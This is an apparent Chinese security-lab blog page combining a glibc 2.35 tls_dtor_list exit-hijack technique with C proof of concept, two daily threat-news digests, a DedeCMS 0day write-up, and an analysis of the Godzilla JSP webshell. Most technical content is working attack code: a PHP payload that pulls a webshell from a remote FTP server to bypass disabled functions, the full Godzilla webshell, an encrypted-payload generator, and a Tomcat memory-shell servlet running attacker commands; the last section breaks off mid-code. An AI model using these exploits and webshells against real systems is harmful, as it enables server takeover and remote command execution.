glibc2.35-通过tls_dtor_list劫持exit执行流程
前言 glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。 传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。 __call_tls_dtors 在程序返回时会通过exit函数,exit函数会经历以下调用过程 exit -> __run_exit_handlers -> __call_tls_dtors 而__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下: 判断tls_dtor_list为空 不为空则将tls_dtor_list赋值给cur 取出函数指针cur->func 通过PTR_DEMANGLE宏解密指针值 执行函数指针 void __call_tls_dtors (void) {  while (tls_dtor_list)   {      struct dtor_list *cur = tls_dtor_list;      dtor_func func = cur->func; #ifdef PTR_DEMANGLE      PTR_DEMANGLE (func); #endif      tls_dtor_list = tls_dtor_list->next;      func (cur->obj);      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);      free (cur);   } } 通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下 首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88 而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空 那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程 首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list中 根据上述的方法,我们成功进入后续的流程 但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。 这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下, 先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。   0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 0x11   0x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30] 也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。 那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。 POC #include <stdio.h> #include <stdlib.h> #include <string.h> unsigned long long rotate_left(unsigned long long value, int left) { return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left)); } int main() {    unsigned long long fs_base;    unsigned long long index = 0xffffffffffffffa8;    unsigned long long tls_dtor_list_addr;    unsigned long long random_number;    void *system_ptr = (void *)&system;    printf("system:%p\n",system_ptr);    // 使用汇编嵌入获取FS寄存器的值    asm("mov %%fs:0, %0" : "=r" (fs_base));    printf("Value in FS register: 0x%llx\n", fs_base);    tls_dtor_list_addr = fs_base - 88;    random_number = *(unsigned long long *)(fs_base + 0x30);    char *str_bin_sh = malloc(0x20);    strcpy(str_bin_sh,"/bin/sh");    void *ptr = malloc(0x20);    *(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);    *(unsigned long long *)(ptr + 8)  = str_bin_sh;    *(unsigned long long *)tls_dtor_list_addr = ptr;    return 0; } 总结 简单总结一下通过tls_dtor_list劫持exit执行流程的条件 存在任意地址写的漏洞利用 能够篡改或泄露fs_base + 0x30的值 程序会通过exit函数结束程序,若是通过_exit则不行
网络安全日报 2023年09月06日
1、研究人员披露Gamaredon组织乌克兰反攻期间的活动 https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/%D0%90%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D1%96%D1%81%D1%82%D1%8C%20%D1%83%D0%B3%D1%80%D1%83%D0%BF%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8F.pdf 研究人员发布了威胁趋势的新报告,分析了 Gamaredon 组织在乌克兰反攻前夕的活动增长情况。在军事行动新阶段的背景下,俄罗斯集团的活动日益增多。特别是试图窃取秘密军事信息的活动。在乌克兰反攻之前,Gamaredon 组织准 2、研究人员披露RemcosRat恶意软件 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/peeling-back-the-layers-of-remcosrat-malware 研究人员观察到 Remcos RAT 活动,其中恶意 VBS 文件通过网络钓鱼电子邮件传递。网络钓鱼电子邮件包含 ZIP/RAR 附件。在这个 ZIP 中,有一个严重混淆的 VBS 文件。 Remcos 是一种复杂的 RAT,它为攻击者提供对受感染系统的后门访问并收集各种敏感信息。Remcos 结合了不同的混淆和反调试技术来逃避检测。RemcosRat是一种复杂的多阶段威胁。研究人员解开了该恶意软件 3、LogicMonitor客户因使用默认密码而遭到黑客攻击 https://techcrunch.com/2023/08/31/logicmonitor-customers-hit-by-hackers-because-of-default-passwords/ 网络安全公司 LogicMonitor 的一些客户因使用默认密码而遭到黑客攻击。LogicMonitor 发言人在一份声明中表示,目前正在解决影响少数客户的安全事件。我们正在与这些客户直接沟通并密切合作,采取适当措施减轻影响。该事件的起因是,直到本周,LogicMonitor 还在为客户分配默认的弱密码,例如“Welcome@”加上一个短号码。当你使用 [LogicMonitor] 设置帐户 4、攻击者针对MS SQL服务器部署FreeWorld勒索软件 https://www.securonix.com/blog/securonix-threat-labs-security-advisory-threat-actors-target-mssql-servers-in-dbjammer-to-deliver-freeworld-ransomware/ 攻击者正在利用安全性较差的 Microsoft SQL (MS SQL) 服务器来传播 Cobalt Strike 和名为 FreeWorld 的勒索软件病毒。研究人员将该活动称为“DB#JAMMER”,表示该活动因其工具集和基础设施的使用方式而脱颖而出。其中一些工具包括枚举软件、RAT 有效负 5、VMware Aria SSH身份验证绕过漏洞的POC发布 https://kb.vmware.com/s/article/94152 针对最近披露并修补的影响 VMware Aria Operations for Networks(以前称为 vRealize Network Insight)的关键缺陷,已提供概念验证 (PoC) 漏洞利用代码。该缺陷的编号为CVE-2023-34039,严重程度为 9.8 分(满分 10 分),并被描述为由于缺乏唯一加密密钥生成而导致身份验证绕过的情况。具有 Aria Operations for Networks 网络访问权限的恶意行为者可以绕过 SSH 身份验证来访问 Aria Operations for N 6、黑客从加密货币博彩平台 STAKE 窃取了价值 4100 万美元的资产 https://securityaffairs.com/150401/hacking/crypto-gambling-firm-stake-hacked.html 研究人员报告称,从加密货币赌博网站 Stake 提取的资金异常大量到一个之前没有任何活动的账户,这种情况表明威胁行为者已经侵入了该平台并窃取了包括 Tether 和 Ether 在内的加密资产。 7、FREECYCLE 数据泄露影响了 700 万用户 https://securityaffairs.com/150392/security/the-freecycle-network-data-breach.html 非营利组织 Freecycle Network (Freecycle.org) 确认其遭受了数据泄露,影响了超过 700 万用户。 8、德国联邦金融监管局 (BaFin) 的网站DDoS攻击而瘫痪数日 https://securityaffairs.com/150359/hacking/ddos-attack-on-bafin.html 德国联邦金融监管局 (BaFin) 的网站因分布式拒绝服务 (DDoS) 攻击而瘫痪。 9、MITRE 和 CISA 发布用于模拟OT 攻击的开源工具 https://www.securityweek.com/mitre-and-cisa-release-open-source-tool-for-ot-attack-emulation/ MITRE 公司和美国网络安全和基础设施安全局 (CISA) 今天宣布了开源 Caldera 平台的新扩展,该平台可模拟针对运营技术 (OT) 的对抗性攻击。Caldera for OT扩展是国土安全系统工程与开发研究所 (HSSEDI) 与 CISA 合作的成果,旨在帮助提高关键基础设施的弹性。Caldera 网络安全平台提供自动对手模拟、安全评估以及红、蓝、紫组队,并使用 MITRE ATT&CK 框架 10、大量黑客针对 Okta 超管权限发起社工攻击 https://thehackernews.com/2023/09/okta-warns-of-social-engineering.html 身份服务提供商 Okta 警告称,有威胁攻击者针对该公司进行了一次社会工程攻击并获得了管理员权限。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Dedecms最新版--0day分享分析(二)
前言 接之前写的一篇https://www.yijinglab.com/specialized/20230814150207,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。 环境 下载最新版本: https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip影响版本: <=DedeCMS-V5.7.110 漏洞URL: /uploads/dede/article_string_mix.php /uploads/dede/sys_data.php /uploads/dede/sys_task.php /uploads/dede/media_add.php /uploads/dede/article_template_rand.php 漏洞详情 远程服务器开启ftp服务 控制面板 >> 程序 >> 启用或关闭windows功能 完成更改 计算机管理 添加FTP站点 配置地址以及账号密码 上面存放一句话木马 文件内容为 payload如下: <? $ftp_server = "192.168.0.102"; $ftp_username = "administrator"; $ftp_password = "147258369"; $file = "shell.php"; $local_file = "shell2.php"; // set up basic connection $conn_id = ftp_connect($ftp_server); // login with username and password $login_result = ftp_login($conn_id, $ftp_username, $ftp_password); // try to download $file and save to $local_file if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) { echo "Successfully downloaded $file\n"; } else { echo "There was a problem while downloading $file\n"; } // close the connection ftp_close($conn_id); ?> 代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件,代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。 文件保存后,访问路径 /uploads/data/template.rand.php 提示已经成功下载一句话木马文件,查看当前目录已经生成名称为shell2.php的shell文件 http://dedecms.xyz:8066/uploads/data/shell1.php 成功命令执行 漏洞分析 DedeCMS-V5.7.109-UTF8\uploads\dede\media_add.php 上传文件的时候仅仅只对权限以及上传类型做了校验,对文件内容未做校验导致漏洞产生。 继续向下看,文件上传文件处理代码DedeCMS-V5.7.109-UTF8\uploads\dede\file_manage_control.php 代码中定义了disable_funs,但是禁用的函数涉及 phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders 在上面的payload中,利用手法利用点儿在于 ftp_get函数是可以绕过disable_funs的,使用该函数实现bypass进行远程恶意代码调用,导致RCE。 小结 其它的方法也可以尝试,ftp远程调用,telnet远程调用等,包括很多方法可以实现,但是使用条件存在限制。其实在Dede由于后台参数可以直接进行配置,代码中disable_funs的定义没有意义,该模块只要存在,只要绕过正则,RCE的方式有很多。
网络安全日报 2023年09月05日
1、研究人员披露RedEyes组织利用恶意LNK传递后门 https://asec.ahnlab.com/ko/56526/ RedEyes 组织,也称为 APT37、ScarCruft ,该组织使用的恶意软件以前以 CHM 格式传播,现在以 LNK 格式传播。恶意代码通过 mshta 进程执行特定 url 中存在的附加脚本,从攻击者的服务器接收命令,并执行附加的恶意操作。经研究人员确认,已确认的 LNK 文件是由攻击者将包含恶意代码的压缩文件上传到正常站点来分发的。恶意 LNK 文件以文件名 REPORT.ZIP 上传。该文件在 LNK 内包含正常的 Excel 文档数据和恶意脚本代码。近期大量利用 CHM、LNK 的恶意代码正在传播,用户需格外 2、UAC-0057组织利用WinRAR软件漏洞进行网络攻击 https://cert.gov.ua/article/5661411 研究人员检测到 UAC-0057 组织利用 CVE-2023-38831、PicassoLoader JavaScript 变体、Rabbit 算法和 Cobalt Strike Beacon 的一次网络攻击。研究人员发现包含CVE-2023-38831漏洞利用的文件 Zbirnyk_tez_НУОУ_23.rar ,成功利用该文件将导致执行BAT文件 16872_16_2023_03049.pdf .cmd ,这将确保启动 LNK 文件 16872_16_2023_03049.lnk 的一部分,该文件使用 mshta. 3、研究人员披露Emotet银行木马再次出现 https://www.trellix.com/en-us/about/newsroom/stories/research/icymi-emotet-reappeared-early-this-year-unfortunately.html Emotet 恶意软件,也称为 Geodo 和 Heodo,是一种著名的银行木马,但也可用作其他恶意软件的下载程序或植入程序。该恶意软件于 2014 年首次出现,2021 年 1 月,Emotet 基础设施被拆除,但于当年 11 月恢复,并在 2022 年和 2023 年初增加其运营。Emotet 仍然是一种危险且有弹性的恶意软件,因为 Emotet 攻 4、AlphV勒索软件组织称针对乔治亚县进行攻击 https://therecord.media/forsyth-county-georgia-ransomware-alphv-post AlphV勒索软件组织(也称为 BlackCat)声称对佐治亚州一个大县发动了攻击,该地距亚特兰大约一小时车程。福赛斯县官员承认六月发生过袭击事件,但没有提供有关所发生事件的细节。周二,AlphV 团伙声称对此次袭击负责,并将该县添加到其泄露站点,并威胁要公开 350GB 据称被盗的数据。该县于 6 月份发出了违规通知信,警告该县超过 250000 名居民,文件在未遂攻击期间从县服务器中被删除。完成审查后,他们发现社会安全号码和驾驶执照号码被盗。调查人员搜 5、X 将从其高级用户那里收集生物识别数据用于安全和身份识别 https://securityaffairs.com/150350/digital-id/x-will-collect-biometric-data.html 社交媒体平台 X(以前称为 Twitter)更新了其隐私政策,通知其高级用户该公司将收集他们的生物识别数据以遏制欺诈和防止冒充。彭博社首先报道了 这一消息,并确认这一变化只会影响高级用户。 6、MinIO 存储系统漏洞被利用在受影响的服务器上执行任意代码 https://securityaffairs.com/150308/breaking-news/minio-storage-system-exploit.html Security Joes 研究人员观察到,一个未知的威胁参与者使用公开可用的 MinIO 对象存储系统漏洞利用链,在易受攻击的服务器上实现任意代码执行。 7、Chrome 扩展程序可以从网站窃取明文密码 https://www.bleepingcomputer.com/news/security/chrome-extensions-can-steal-plaintext-passwords-from-websites 威斯康星大学麦迪逊分校的一组研究人员已将一个概念验证扩展上传到 Chrome 网上应用店,该扩展可以从网站的源代码中窃取纯文本密码。此外,研究人员发现,许多拥有数百万访问者的网站(包括一些 Google 和 Cloudflare 门户)在其网页的 HTML 源代码中以明文形式存储密码,允许扩展程序检索它们。 8、Fitbit可能因涉嫌违反GDPR而面临11亿欧元的罚款 https://cybernews.com/news/fitbit-violates-gdpr/ 针对谷歌旗下的健康和健身公司Fitbit提出了三起投诉,该公司强迫新用户同意将高度个人数据传输到欧盟以外。 9、Clop声称通过M&T银行网络攻击导致宾夕法尼亚州数据泄露 https://thecyberexpress.com/clop-claims-the-pennsylvania-data-breach/ 在通过M&T银行黑客攻击获得马萨诸塞州居民的信息后,Clop声称宾夕法尼亚州数据泄露。 10、英国国防部数千份绝密文件被俄罗斯黑客泄露 https://www.secrss.com/articles/58460 据镜报当地时间9月2日21:21分更新的报道,英国军事和情报网站的绝密安全信息已被与俄罗斯有关的黑客在网上泄露。攻击者发布了数千页的数据,这些数据可以帮助犯罪分子进入HMNB克莱德核潜艇基地、波顿当化学武器实验室和GCHQ监听站。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘
前言 本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。 分析 首先对该木马进行格式化,以增强代码的可读性。得到如下代码 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">    <jsp:declaration>        String xc = "3c6e0b8a9c15224a";        String pass = "pass";        String md5 = md5(pass + xc);        class X extends ClassLoader       {            public X(ClassLoader z)           {                super(z);           }            public Class Q(byte[] cb)           {                return super.defineClass(cb, 0, cb.length);           }       }        /*        * 作用:AES解密        * m:true加密,False解密        * */        public byte[] x(byte[] s, boolean m)       {            try           {                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));                return c.doFinal(s);           }            catch(Exception e)           {                return null;           }       }        /*        * 作用:md5加密        * */        public static String md5(String s)       {            String ret = null;            try           {                java.security.MessageDigest m;                m = java.security.MessageDigest.getInstance("MD5");                m.update(s.getBytes(), 0, s.length());                ret = new                        java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();           }            catch(Exception e)           {}            return ret;       }        /*        * 作用:base64加密        * */        public static String base64Encode(byte[] bs) throws Exception       {            Class base64;            String value = null;            try           {                base64 = Class.forName("java.util.Base64");                Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);                value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]                       {                                byte[].class                       }).invoke(Encoder, new Object[]                       {                                bs                       });           }            catch(Exception e)           {                try               {                    base64 = Class.forName("sun.misc.BASE64Encoder");                    Object Encoder = base64.newInstance();                    value = (String) Encoder.getClass().getMethod("encode", new Class[]                           {                                    byte[].class                           }).invoke(Encoder, new Object[]                           {                                    bs                           });               }                catch(Exception e2)               {}           }            return value;       }        /*        * base64解密        * */        public static byte[]base64Decode(String bs) throws Exception       {            Class base64;            byte[] value = null;            try           {                base64 = Class.forName("java.util.Base64");                Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);                value = (byte[]) decoder.getClass().getMethod("decode", new Class[]                       {                                String.class                       }).invoke(decoder, new Object[]                       {                                bs                       });           }            catch(Exception e)           {                try               {                    base64 = Class.forName("sun.misc.BASE64Decoder");                    Object decoder = base64.newInstance();                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]                           {                                    String.class                           }).invoke(decoder, new Object[]                           {                                    bs                           });               }                catch(Exception e2)               {}           }            return value;       }    </jsp:declaration>    <jsp:scriptlet>        try       {            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密            data = x(data, false);//AES解密            if(session.getAttribute("payload") == null)           {                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载           }            else           {                request.setAttribute("parameters", new String(data));                Object f = ((Class) session.getAttribute("payload")).newInstance();                f.equals(pageContext);                response.getWriter().write(md5.substring(0, 16));                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));                response.getWriter().write(md5.substring(16));           }       }        catch(Exception e){            response.getWriter().write(e.getMessage());       }    </jsp:scriptlet> </jsp:root> 前期可以交付ChatGPT初步分析,理清各个函数的基本作用: 得知各个函数的基本功能之后我们主要看<jsp:scriptlet>中的内容: try       {            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密            data = x(data, false);//AES解密            if(session.getAttribute("payload") == null)           {                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载           }            else           {                request.setAttribute("parameters", new String(data));                Object f = ((Class) session.getAttribute("payload")).newInstance();                f.equals(pageContext);                response.getWriter().write(md5.substring(0, 16));                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));                response.getWriter().write(md5.substring(16));           }       }        catch(Exception e){            response.getWriter().write(e.getMessage());       } 可以看到首先会获取pass参数中的内容,进行base64解密获得一个字节数组,传入给x(),该函数第二个参数为true时候是进行加密,而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在<jsp:declaration>已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload")是否为null,若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下: EXP构建 按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。 exp.java package exp; import java.io.IOException; public class exp {    static {        try {            Runtime.getRuntime().exec("touch /tmp/gg.txt");       } catch (IOException e) {            e.printStackTrace();       }   } } 编译为class javac exp.java POC,我们可以利用木马中的x()、base64Encode当做EXP构成部分即可 package Fvck; import java.io.*; class Fvck{    public static byte[] readFileToByteArray(String filePath) {        File file = new File(filePath);        byte[] fileBytes = new byte[(int) file.length()];        try (FileInputStream fis = new FileInputStream(file)) {            fis.read(fileBytes);       } catch (IOException e) {            e.printStackTrace();            return null;       }        return fileBytes;   }    public static byte[] AesEncode(byte[] s, boolean m)   {        String xc = "3c6e0b8a9c15224a";        try       {            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));            return c.doFinal(s);       }        catch(Exception e)       {            return null;       }   }    public static String base64Encode(byte[] bs) throws Exception   {        Class base64;        String value = null;        try       {            base64 = Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]                   {                            byte[].class                   }).invoke(Encoder, new Object[]                   {                            bs                   });       }        catch(Exception e)       {            try           {                base64 = Class.forName("sun.misc.BASE64Encoder");                Object Encoder = base64.newInstance();                value = (String) Encoder.getClass().getMethod("encode", new Class[]                       {                                byte[].class                       }).invoke(Encoder, new Object[]                       {                                bs                       });           }            catch(Exception e2)           {}       }        return value;   }    public static void main(String[] args) throws Exception {        String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));        System.out.println(result);   } } 内存马注入 寻找Request Java Object Searcher 基本使用方法 IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址 将java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如: /Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar 回到IDEA->File->Project Structure->SDKs,将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。 在Tomcat上随便找个地方断点,后打开Evaluate 代码中设置日志输出文件夹,点击Evaluate //设置搜索类型包含Request关键字的对象 List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("Request").build()); //定义黑名单 List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(20); //设置报告保存位置 searcher.setReport_save_path("/Users/gqleung/Desktop"); searcher.searchObject(); 在运行结束后会输出日志到保存的文件夹: 在其中找一条链子 TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [17] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler 创建一个线程根据上面链子寻找 代码编写 与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group,我们通过当前线程去获取该对象。 获取group Thread thread = Thread.currentThread();//获取线程对象Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值 获取threads 获取threads方法与获取group基本一致 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); 我们链子下一个对象是这个数组的第18个元素,也就是下标为17的元素,直接通过下标获取即可,注意一下数据类型。 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; 获取target 在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够,因此需要用Object去代替. /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); 获取this$0 获取方法以及原因同上 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); 获取handler 这里我们直接同上方法会报错,我们用Class.forName去指定包来获取看看 我们却发现还是报错了,报错提示并不存在handler这个字段 我们直接从依赖中看,AbstractProtocol确实不存在handler,但是存在handler数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler 我们直接尝试从这个包获取handler,发现获取成功 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); /*获取handler*/ Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(this$0); 获取global 在获取到handler之后直接通过getClass获取即可 /*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared 回显链最终代码 /*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared 结合内存马 import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.coyote.RequestGroupInfo; import javax.servlet.ServletContext; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.lang.reflect.Field; import java.util.ArrayList; public class exp extends HttpServlet {    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {        response.setContentType("text/html");        String cmd = request.getParameter("cmd");        PrintWriter out = response.getWriter();        try {            Process ps = Runtime.getRuntime().exec(cmd);            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));            StringBuffer sb = new StringBuffer();            String line;            while ((line = br.readLine()) != null) {                sb.append(line).append("\n");           }            String result = sb.toString();            out.print(result);       } catch (Exception e) {            e.printStackTrace();       }   }    static {        try {            Thread thread = Thread.currentThread();            Field group = Class.forName("java.lang.Thread").getDeclaredField("group");            group.setAccessible(true);            ThreadGroup threadGroup = (ThreadGroup) group.get(thread);            Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");            threads.setAccessible(true);            Thread[] thread1 = (Thread[]) threads.get(threadGroup);            Thread t17 = thread1[17];            Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");            targetField.setAccessible(true);            Object target = targetField.get(t17);            Field this$0Field = target.getClass().getDeclaredField("this$0");            this$0Field.setAccessible(true);            Object this$0 = this$0Field.get(target);            Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");            handlerField.setAccessible(true);            Object handler = handlerField.get(this$0);            Field globalField = handler.getClass().getDeclaredField("global");            globalField.setAccessible(true);            RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);            Field processorsField = global.getClass().getDeclaredField("processors");            processorsField.setAccessible(true);            ArrayList processors = (ArrayList) processorsField.get(global);            Object r0 = processors.get(0);            Field reqField = r0.getClass().getDeclaredField("req");            reqField.setAccessible(true);            org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);            org.apache.catalina.connector.Request request = 